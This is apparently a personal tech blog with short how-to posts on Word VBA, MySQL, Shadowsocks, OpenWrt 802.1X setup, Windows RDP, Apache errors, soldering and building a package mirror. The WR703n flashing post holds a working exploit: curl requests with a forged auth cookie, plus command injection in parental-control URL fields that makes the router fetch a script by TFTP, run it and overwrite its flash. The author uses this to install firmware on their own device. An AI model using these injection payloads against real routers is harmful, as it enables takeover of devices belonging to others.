Categories
木有技术

删除Word中的水平线(分割线)

在Word种有个很SB的东西叫做水平线/分割线,就是按连续3个-或者=或者~之类的字符后回车会生成的水平线。具体效果见“Word中简单快速插入各种分隔线及删除分割线的方法”
问题来了,当你想要删去他们的时候,有时候按del键完全不起作用。
这个时候,有个办法,就是用VBA代码(对,那个古老的VB),具体如下:

  1. 按下Alt+F11键打开VBA编辑器;
  2. 双击下图中红圈部分(ThisDocument)vba_editor_word
  3. 在打开的代码编辑器中,粘贴这个代码
    Sub removehline()
        Dim ils As Paragraph
        For Each ils In ActiveDocument.Paragraphs
            ils.Borders(wdBorderBottom).LineStyle =wdLineStyleNone
        Next ils
    End Sub

     

  4. 点击绿色的小箭头,或按F5键运行代码。搞定!
  5. 记得运行完后把VBA代码删了,不然保存的时候会提示宏啊什么的…突然想到Word97时候的宏病毒~

 
参考资料:How to remove all horizontal lines from Word document?

Categories
木有技术

Mysql 远程连接错误 10061

这个错误是远程服务器拒绝本地连接访问了(并非root账户权限问题,权限的报错是1045)
主要原因可能是

  1. 服务器防火墙把监听端口(3306)阻止了。不过这种情况比较少见
  2. 配置文件中绑定了本地回环127.0.0.1,没有绑定外网IP(或0.0.0.0监听所有)

针对问题2,可以检查下列文件:

  • /etc/mysql/my.cnf
  • /etc/mysql/mysql.conf.d/mysqld.cnf
  • /etc/mysql/conf.d/mysql.cnf
  • 其他所有cnf后缀的文件都可疑

找到文件中的以下字段

bind-address=127.0.0.1

将其删去,或将bind-address的值改成你的服务器IP地址
然后重启mysql服务

service mysql restart

 

Categories
木有技术

如何更新Shadowsocks (服务器端)

如果你是私人假设的shadowsocks的话,可以通过pip来进行更新(当然前提是你用pip安装的,不然请先卸载掉原来的版本啦)。
利用PIP安装的教程见https://github.com/shadowsocks/shadowsocks/wiki/Shadowsocks-%E4%BD%BF%E7%94%A8%E8%AF%B4%E6%98%8E
命令就一行

pip install -U shadowsocks

如果提示是这样的话,说明已经是最新版本了。

Requirement already up-to-date: shadowsocks in /usr/local/lib/python2.7/dist-packages
Cleaning up...

不然的话就会自己更新了…
如果有更新的话,记得重启你的shadowsocks服务~具体看wiki,因为配置不尽相同,这边就不写了https://github.com/shadowsocks/shadowsocks/wiki
 

Categories
木有技术

Use an OpenWrt Router to log in 802.1x (MSCHAPV2) wired network at SUTD (eduroam)

本文主要介绍如何使用基于OpenWrt的路由器进行802.1X有线网登录验证(即作为802.1X 客户端)。
This post tells my experience on trying to connect to a wired network at Singapore University of Technology and Design (SUTD) by using a OpenWrt-powered router (a modified TPLink WR-703n).

Prerequisites

What you need is a router which runs OpenWrt (or other unix-based OS like dd-wrt). For me I have a hardware-hacked TPLink Wr703n (technically it was a WR-702n but their mainboards are same). My modified router has 64 MB ram and 8MB ROM, which allows me to install and run OpenWrt (currently version 14.04) and some necessary apps.
You should know the fundamental about OpenWrt. If not, please visit https://wiki.openwrt.org/  for help.

Steps

Before start, please do not power off your device unless it’s requested explicitly.
First, build up a SSH connection to your router, for me on Windows, I connect my router (192.168.1.1) via Putty.
If this is the first time that you log in via SSH terminal, you should firstly set up the root password at http://192.168.1.1/ on your internet browser (this IP address might vary on different devices)

Remove wpad-mini

We will have to remove the mini version of wpad (wpad = wpa_supplicant + hostapd) since it is not powerful enough to handle a 802.1X authentication. So on your SSH terminal, after you’ve successfully logged in, type this

opkg remove wpad-mini

Install wpad

Then install the full version of wpad, you may download it from

https://downloads.openwrt.org/barrier_breaker/14.07/ar71xx/generic/packages/base/wpad_2014-06-03.1-3_ar71xx.ipk

and you must find a way to transfer it to your router. For me I choose HFS (http://www.rejetto.com/hfs/) to build a small http file server on my personal computer. and then I use the ‘wget’ commend to download the file

cd /tmp
wget http://YOUR_HFS_SERVER_IP/wpad_2014-06-03.1-3_ar71xx.ipk

then install it

opkg install wpad_2014-06-03.1-3_ar71xx.ipk

OR if you have Internet connection on your router (oh you must be kidding) you can directly type

opkg update
opkg install wpad

Configuration

(For wr-703n only)

You may need to set up a wireless connection on your router first, please search on Google to enable your WiFi port. Or you may explore the ‘Network’ –> ‘Wifi’ page, it’s easy to get started!
By default, OpenWrt uses the only ethernet port on the little wr-703n as a LAN port, buy in this time we need to set it to a WAN port. It means that we’ll use an Ethernet wire to connect the world, and use the wireless signal to connect your devices, e.g. your laptops, cellphones, pads…
[INTERNET]  <—-wired conn.—> [ROUTER] <—-wireless conn.—-> [DEVICES]
This configuration can be easily done on OpenWrt’s web interface, visit http://YOUR_ROUTER’s_IP/ (for me it is 192.168.1.1 ) on your browser and enter your password.
Then go to ‘Networks’ –> ‘Interfaces’, there should be only one interface called ‘LAN’. And we need to add the ‘wan’ interface. so click on the button ‘Add new interface’ below openwrt_add_new_interface
Then set it as follow:openwrt_add_wan_interface
and click ‘submit’.
Next, we need to cease the bond between port eth0 and interface LAN. Turn back to the interface page, and click the ‘Edit’ openwrt_edit_interfaceon LAN interface.
Then click on the ‘Physical Settings’ page openwrt_interface_lan
and set the physical ports binding as follow (Un-tick ‘eth0’ and tick wireless network):
openwrt_wr703_lan_phy
then click on ‘Save and Apply’ button in the bottom.openwrt_saveandapply
Then restart your router.
NOTICE: From now on you can only connect your router through wireless connection, the Ethernet port is set as a WAN port.

wpa_supplicant

The next step is to set up 802.1X authentication.
The wpa_supplicant module will be used to maintain the authentication process, so we need a configuration file first.
Type these in your monitor to start vi (a built-in text editor):

vi /etc/config/wpa.conf

then key in ‘i’ to start the insert mode. Copy the following text

ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=root
ap_scan=0
network={
        key_mgmt=IEEE8021X
        eap=MSCHAPV2   #THIS LINE IS IMPORTANT!
        eapol_flags=0
        identity="YOUR USERNAME"
        password="YOUR PASSWORD"
        phase1="peaplabel=1"
        phase2="auth=MSCHAPV2"  #THIS LINE MAYBE USELESS
}

and then, on your puppy terminal, use the right button of your mouse to paste them into vi text editor. Next, press ‘Ese’ button on your keyboard and input :wq to quit vi editor with the file written to your router.

Connection

Finally it’s time to build up connection, first unplug your Ethernet wire from the router if you’ve did so.
Then in the putty terminal, type

killall wpa_supplicant # Kill all wpa_supplicant programs on-the-run
wpa_supplicant -D wired -i eth0 -c /etc/config/wpa.conf &

The second line is the key, it tries to authenticate with the server using your configuration file on the wired port eth0.
And now please plug your Ethernet wire into the router, then the best part starts like this…
wr703-8021x-conn
Once you see ‘SUCCESS’ in those output you may press the Enter key to resume from shell execution.
It’s done.
In case you may encounter some error in the process, try change the parameters in your configuration file because not all 802.1x are the same. I once faced the credential error then found out that it’s the bad parameter in the ‘EAP’ setting.

#eap=PEAP # It was PEAP but turns out to be a failure
eap=MSCHAPV2 # This is the right thing to bypass credentials

Enable Service Autostart

Here are the scripts to auto-startup the 802.1x auth after the router finished booting. In your puppy terminal, type

vi /etc/init.d/wpa

Then push ‘I’ button on the keyboard to insert

#!/bin/sh /etc/rc.common
START=99
start() {
    echo start
    wpa_supplicant -D wired -i eth0 -c /etc/config/wpa.conf &
}

and push ‘Esc’, and type in :wq to quit the editor.
Back to the command terminal, type in

chmod +x /etc/init.d/wpa
chmod 755 /etc/init.d/wpa
/etc/init.d/wpa enable # Enable autostart

 

References

Categories
木有技术

WR703n v1.7 破解openwrt(提示“密码错误”等问题的解决)

英文请参考:http://wiki.openwrt.org/toh/tp-link/tl-wr703n#tftp_install_necessary_on_v17_hardware
转载本文请注明来自http://boweihe.me/?p=1680

[写在最前]如果你在破解过程中遇到HTML返回(中文)错误提示

有一部分人(包括我)遇到了,在执行第二个curl命令的时候,返回一段不正确的HTML代码的问题(主要内容是密码错误的提示页面,会说什么Caps Lock之类的)。这个问题是由于你更改了默认的路由器模式(比如AP模式)无法开启家长控制功能,解决办法是,重置路由器设置(捅RESET洞洞,或者Web界面里头选重置)。

准备工具

本教程主要介绍Windows下面用到的工具,因为UNIX类的系统其实Terminal底下都能搞定这事儿…噗

  1. cURL工具,http://curl.haxx.se/download.html
  2. TFTP工具,http://tftpd32.jounin.net/tftpd32_download.html
  3. (可选)本教程中TFTP底下的那些文件,包括BusyBox,分离出的固件等。链接:http://pan.baidu.com/s/1qWvfp7I 密码:y1vw
  4. dd for windows: http://uranus.chrysocome.net/linux/rawwrite/

准备Hack文件

BusyBox Binary

使用curl下载BusyBox的二进制文件:

curl http://busybox.net/downloads/binaries/latest/busybox-mips > busybox

OpenWrt固件

下载OpenWrt固件

curl https://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin -o openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin

然后拆成两部分

dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i1 bs=1 count=1048576
dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i2 bs=1 skip=1048576

aa文件(bash)

新建一个叫aa的文件,别忘了讲下面的192.168.0.9 替换成你电脑的内网IP地址(路由器分配给你电脑的内网IP)

cd /tmp
tftp -gl i1 192.168.0.9
tftp -gl i2 192.168.0.9
tftp -gl busybox 192.168.0.9
chmod 755 busybox
./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync
./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync
./busybox reboot -f

 
至此,你的目录下应该有5个文件

  • openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
  • busybox
  • i1
  • i2
  • aa

刷写OpenWrt

[警告]以下步骤可能导致你的路由器变砖,请确认当前的路由器固件版本是3.17.1 Build 140120. 下述全过程请勿断开连接或是断开电源,本人不对产生的任何后果负责!另外,每一步都很重要,别忽略其中任何一步。
以下步骤中,请替换 192.168.0.9 为你电脑的内网IP, 替换 192.168.0.100 为你路由器的IP地址 (WR703N的,一般是192.168.1.1).

修改密码为admin42

这个步骤只会更改路由器家长控制的默认密码,刷完openwrt之后会恢复为openwrt的默认密码的

curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=true' 'http://192.168.0.100/'

启用家长控制(利用漏洞)

curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.0.100/userRpm/ParentCtrlRpm.htm' 'http://192.168.0.100/userRpm/ParentCtrlRpm.htm?ctrl_enable=1&parent_mac_addr=00-00-00-00-00-02&Page=1'

开启电脑上的TFTP服务器

开启TFTP服务器,如果用tftp32的话:

  1. 设置Current Directory为那个含有5个文件都目录;
  2. 设置Server interfaces为你电脑的内网IP地址(一般情况下是192.168.1.x)

刷固件

curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.0.100/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1' 'http://192.168.0.100/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20aa%20192.168.0.9;&url_2=;sh%20aa;&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=%B1%A3+%B4%E6'

请等待路由器自动重启(重启后会加载openwrt,路由器状态灯会闪烁一会儿)
上述步骤其实会远程调用tftp里头存储的aa文件(脚本),进而执行脚本中的刷机命令

Categories
木有技术

Windows10 无法远程桌面连接 问题排查

遇到了很奇怪的事情,Win10底下竟然用内网都无法远程连接,只是显示“无法连接到主机”
经过各种搜,找到了办法,解决了问题。

1.(可选)用有线\无线网络,请开启网络发现

参考教程http://www.xitongzhijia.net/xtjc/20141216/32673.html,把你现在连的网络类型改成专用网络
如果这不是家庭网络或者企业内部网,请还是不要这样改

2.(必须)防火墙设置

Windows10自带的防火墙规则似乎禁用了远程桌面连接,至少在我的电脑上是这样的
开始菜单搜索“防火墙”,选择第二项:Windows防火墙
Windows10-Firewall
 
然后点击左侧的“允许应用或功能通过Windows防火墙”
Win10-Firewall-2
 
点击弹出窗口右上角的“更改设置”
移到最下面,把“远程桌面”勾上。如果步骤1没有设置的话,记得把“公用”下面的勾也勾上(此项有安全风险,公用网络还是尽量不要允许的好)。
Win10-Enable-Remote-Desktop

Categories
木有技术

Apache服务器错误:指定的网络名不再可用 AH00341 解决方案

近来新弄的阿里云服务器在Windows Server 2008 R2上部署了Apache服务器并关闭了IIS,弄了个php站,可是总会间歇性的出现连接挂起的现象,表现为访问网页一直在转圈圈,不论静态还是动态页面。
查了一下错误日志,“发作”前有这么一行

(OS 64)指定的网络名不再可用。  : AH00341: winnt_accept: Asynchronous AcceptEx failed.

然后网上搜了一下,出现这个问题的基本都在Windows服务器上,貌似是个奇怪的通病…

Apache报错指定的网络名不再可用解决方案


http://www.oschina.net/question/998019_112854
http://forum.wampserver.com/read.php?2,92063,118454
http://www.apachelounge.com/viewtopic.php?p=21352
等等等等~
具体现象和原因,解释的比较清楚的是这个
http://blog.csdn.net/comliu/article/details/4412144
以及这个
http://www.youranshare.com/push/topics/softuse/211.html
然后说一下解决方案,就是修改你的httpd.conf文件,加这么几行

AcceptFilter http none
AcceptFilter https none
EnableSendfile off
EnableMMAP off

然后重启Apache就可以了。亲测可用

Categories
木有技术

手工焊接的烙铁温度设定

 
手工焊接的烙铁温度设定
一、手工焊接的原理:
常见的手工焊接工艺就是通过烙铁头传热,熔化焊锡,来使焊接件(电子元器件等)与焊盘(被焊件)连接接合。
手工焊接要素:电源(焊台或烙铁)、加热体(发热芯)、烙铁头、焊锡、焊接件等;
二、无铅焊接知识
以前的焊锡是锡铅合金,如63/37(锡63%,铅37%),熔点为183度。因铅对环境的有毒性,ROHS等法规规定电子产品中禁用。所以出现了替代的无铅焊锡。
无铅焊锡相对有铅焊锡:
1、熔点升高约34-44度;
2、焊锡中锡含量增加了;
3、上锡能力差(可焊性差),无铅焊锡的焊锡扩散性差,扩散面积差不多是共晶焊锡的1/3;
三、手工焊接温度公式:
焊接作业最适合的温度是在使用的焊锡的熔点+50度。烙铁头的设定温度,由于焊接部分的大小,电烙铁的功率和性能,焊锡的种类和线型的不同,在上述温度的基础上还要增加X度(通常为100)为宜。即为:烙铁头温度=焊锡熔点+50+X(损耗)。如:有铅焊锡63/37常用焊接温度:183+50+100=333左右,无铅锡铜为:227+50+100=377度。因为不同产品焊点大小、不同焊锡、不同环境及操作习惯等影响,此处X变化很大,所以焊接温度有从350-450的使用情况。
四、烙铁头损耗原理:
烙铁头尖端结构大致为;铜-镀铁层-镀锡层,焊接时,加热的情况下,镀铁层会与焊锡中的锡之间发生物理化学反应,使得铁被溶解腐蚀掉,而且这个过程随着温度升高会加速。所以,无铅焊接时,因为焊接温度普遍升高,同时焊锡中的锡含量也大幅度增加,于是烙铁头的寿命急剧减少。
五、无铅手工焊接常见问题:
1、使用高温时,容易损坏元器件;
2、烙铁或焊台热回复性不好的话,容易出现虚焊假焊,不良率增加;
3、烙铁头氧化损耗增加;
六、无铅手工焊接常见对策:
1、使用专用无铅烙铁头(本身镀无铅锡,适当增厚镀铁层来延缓腐蚀,延长寿命,同时不影响导热);
2、使用专用无铅焊台(大功率、快速回温,使得温度更稳定,并能使用低温进行焊接);
七、无铅焊台知识:
由焊接原理可知,焊接工艺是靠热量的传递来完成的。所以,无铅焊接时需要加热体有更好的供热效率,这就要求焊台或烙铁有更大的功率和更快的热回复性。实践,市面上常用的无铅焊台功率均在90W以上,比上以前的60W焊台或单支烙铁,热效率及热回复性都增加了很多,所以在焊接相同产品时,所需的焊接温度会低上10-30度,且更稳定。这样再配上特制的无铅烙铁头,烙铁头的损耗也大大减少,成本降低的同时,产品品质也得到了保障。
 
转载自http://www.b2bkk.com/com/tenyn73/news/itemid-135124.html

Categories
木有技术

WNDR4300/3700v4 OpenWrt 14.04 Barrier Breaker 镜像源 Mirror

160217:由于wndr4300已经出掉了,所以这个镜像源目前已经移除。自行搭建的方法请参考http://boweihe.me/?p=1537

实在不能忍受某些墙还是什么导致的问题,更新个ipk就得半小时!
自己搭了一个源,如果谁也有Ar71xx nand(比如我的WNDR4300)的话,可以用我搭建的源~
由于用的Bandwagon服务器,大陆地区晚上访问速度会比较慢,白天就快多啦~
WNDR3700 v4版也可以用的!
WNDR4300的配置文件如下:

dest root /
dest ram /tmp
lists_dir ext /var/opkg-lists
option overlay_root /overlay
src/gz barrier_breaker_base http://2.boweihe.me/wrt/base
src/gz barrier_breaker_luci http://2.boweihe.me/wrt/luci
src/gz barrier_breaker_packages http://2.boweihe.me/wrt/packages
src/gz barrier_breaker_routing http://2.boweihe.me/wrt/routing
src/gz barrier_breaker_telephony http://2.boweihe.me/wrt/telephony
src/gz barrier_breaker_management http://2.boweihe.me/wrt/management
src/gz barrier_breaker_oldpackages http://2.boweihe.me/wrt/oldpackages

需要自己搭建的话,请参考:
http://boweihe.me/?p=1537
拷贝的URL源地址是:
https://downloads.openwrt.org/barrier_breaker/14.07/ar71xx/nand/packages/

Categories
木有技术

搭建自己的openwrt小镜像服务器

虽然当我写完的时候我发现wget可以一句话解决这个事情,不过还是与大家分享下代码吧~
更简单的方法详见:http://zqhong.qiniudn.com/2014/10/18/%E6%90%AD%E5%BB%BAOpenWrt%E6%9C%AC%E5%9C%B0%E8%BD%AF%E4%BB%B6%E5%BA%93%E9%95%9C%E5%83%8F/
下面是我写的小爬虫,是在其他人的成果基础上改的,新增支持级联目录
 

#!/usr/bin/env python
#coding=utf-8
#
# Openwrt Package Grabber
#
# Copyright (C) 2015 http://boweihe.me
# based on http://shuyz.com
#
import urllib2
import os
import re
def fetch_package(url, subdir=''):
    print 'fetching package list from ' + url
    content = urllib2.urlopen(url, timeout=15).read()
    pattern = r'<a href="(.*?)">'
    items = re.findall(pattern, content)
    for item in items:
        if item=='../':
            continue
        else:
            m = re.match(r'\w+/$', item)
            if m:
                if not os.path.exists(savedir + subdir + m.group()):
                    print 'makedir ' + m.group()
                    os.makedirs(savedir + subdir + m.group())
                fetch_package(url + m.group(), subdir + m.group())
            else:
                print 'downloading item : '+ item
                rfile = urllib2.urlopen(url + item)
                opendir = savedir + subdir + item
                with open(opendir, 'wb') as code:
                    code.write(rfile.read())
# the url of package list page, end with "/"
baseurl = 'http://downloads.openwrt.org/barrier_breaker/14.07/ar71xx/'
# which directory to save all the packages, end with "/"
savedir = './download-full1407/'
if not os.path.exists(savedir):
    os.makedirs(savedir)
fetch_package(baseurl)
print 'done!'